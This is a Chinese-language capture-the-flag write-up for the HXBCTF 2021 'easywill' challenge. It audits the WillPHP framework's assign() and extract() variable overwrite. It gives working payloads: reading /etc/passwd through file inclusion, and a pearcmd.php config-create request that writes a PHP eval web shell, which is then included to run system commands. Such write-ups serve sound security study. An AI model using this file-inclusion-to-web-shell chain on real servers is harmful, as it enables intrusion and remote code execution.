HXBCTF 2021 easywill
1.页面高亮了代码,并开启了debug。
<?php
namespace home\controller;
class IndexController{
public function index(){
highlight_file(__FILE__);
assign($_GET['name'],$_GET['value']);
return view();
}
}
2.直接搜索assign()
函数的作用,它一般是各种框架自定义的一个方法,而大概的用途和extract()
函数类似,只不过它可以覆盖数组来批量定义。而extarct()
函数是存在变量覆盖的,所以这个函数也一样。
3.开始想覆盖view
为phpinfo
,但是才注意到它并不是一个变量而是一个常量,那就必须找代码中含有漏洞的地方。页面给出了版本,百度下载Willphp v2.1.5
版本进行代码审计。
4.willphp
是基于thinkphp
为模板开发的一款超轻量级的MVC框架,其中一共源码大小不超过400k,没有繁琐的类库以及冗余的功能函数。在index.php
中发现需要的php版本限制5.6
及以上,
5.页面输入assign()
,跳转看到该函数是如何定义的(/willphp/helper.php
)。
6.这个函数库定义了一些常用的函数,跟进跳转到\wiphp\View::assign($name, $value);
函数中。
namespace wiphp;
require PATH_TPLE.'/Tple.php';
class View {
private static $_vars = [];
public static function assign($name, $value = NULL) {
if ($name != '') self::$_vars[$name] = $value;
}
public static function fetch($file = '', $vars = []) {
if (!empty($vars)) self::$_vars = array_merge(self::$_vars, $vars);
define('__THEME__', C('theme'));
define('VPATH', (THEME_ON)? PATH_VIEW.'/'.__THEME__ : PATH_VIEW);
$path = __MODULE__;
if ($file == '') {
$file = __ACTION__;
} elseif (strpos($file, ':')) {
list($path,$file) = explode(':', $file);
} elseif (strpos($file, '/')) {
$path = '';
}
if ($path == '') {
$vfile = VPATH.'/'.$file.'.html';
} else {
$path = strtolower($path);
$vfile = VPATH.'/'.$path.'/'.$file.'.html';
}
if (!file_exists($vfile)) {
App::halt($file.' 模板文件不存在。');
} else {
define('__RUNTIME__', App::getRuntime());
array_walk_recursive(self::$_vars, 'self::_parse_vars'); //处理输出
\Tple::render($vfile, self::$_vars);
}
}
//删除反斜杠
private static function _parse_vars(&$value, $key) {
$value = stripslashes($value);
}
}
7.该函数就是对我们传入的键名进行赋值,这不用先看fetch()
方法,在index.php
中是返回了view()
方法,跟进查看一下:
8.可以发现,它就是返回调用了fetch()
方法,这个时候在看fetch()
方法。审计一下,两个参数都为空,那么它就会包含默认的route,就是index.html
文件,很明显这个文件是存在的。于是进入else,也就是Tple::render()
方法,继续跟进。
9.第一个if要文件名为jump.shtml
不成立,跳到else;$sfile
获取到传递参数的md5值文件名,并进行判断是否存在,不成立,跳到else。
public static function render($vfile, $_vars = []) {
$shtml_open = C('shtml_open');
if (!$shtml_open || basename($vfile) == 'jump.shtml') {
self::renderTo($vfile, $_vars);
} else {
$params = http_build_query(I());
$sfile = md5(__MODULE__.basename($vfile).$params).'.shtml';
$sfile = PATH_SHTML.'/'.$sfile;
$ntime = time();
$shtml_time = max(10, intval(C('shtml_time')));
if (is_file($sfile) && filemtime($sfile) > ($ntime - $shtml_time)) {
include $sfile;
} else {
ob_start();
self::renderTo($vfile, $_vars);
$content = ob_get_contents();
file_put_contents($sfile, $content);
}
}
}
10.该else调用了self::renderTo($vfile, $_vars);
方法,继续跟进。同样是两个if不成立,进入最后的变量覆盖加文件包含,这个覆盖的键值对参数$_vars
就是我们在最开始的View::fetch()
传入的键值对参数。
public static function renderTo($vfile, $_vars = []) {
$m = strtolower(__MODULE__);
$cfile = 'view-'.$m.'_'.basename($vfile).'.php';
if (basename($vfile) == 'jump.html') {
$cfile = 'view-jump.html.php';
}
$cfile = PATH_VIEWC.'/'.$cfile;
if (APP_DEBUG || !file_exists($cfile) || filemtime($cfile) < filemtime($vfile)) {
$strs = self::comp(file_get_contents($vfile), $_vars);
file_put_contents($cfile, $strs);
}
extract($_vars);
include $cfile;
}
11.很明显,这里有个文件包含漏洞,直接覆盖变量$cfile
,然后尝试读取/etc/passwd
,传递/?name=cfile&value=file:///etc/passwd
。
12.尝试php://input
读取文件输入流getshell,但是debug页面报错不能打开输入流。但是报错包含路径(include_path='.:/usr/local/lib/php')
,该路径有个默认的安装插件pearcmd.php
,该插件在version < PHP7.3
的条件下默认安装。
13.利用该插件进行getshell,payload : ?+config-create+/&name=cfile&value=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[0])?>+/tmp/shell.php
,执行结果如下:
14.操蛋的是这里明显,大小写被转义了,后面才知道需要自己手动修改一下,否则在url框中会被自动转义再发送。burp抓包修改重发,最后文件包含?name=cfile&value=/tmp/shell.php
。执行命令0=system("cat /f*");
即可获得flag。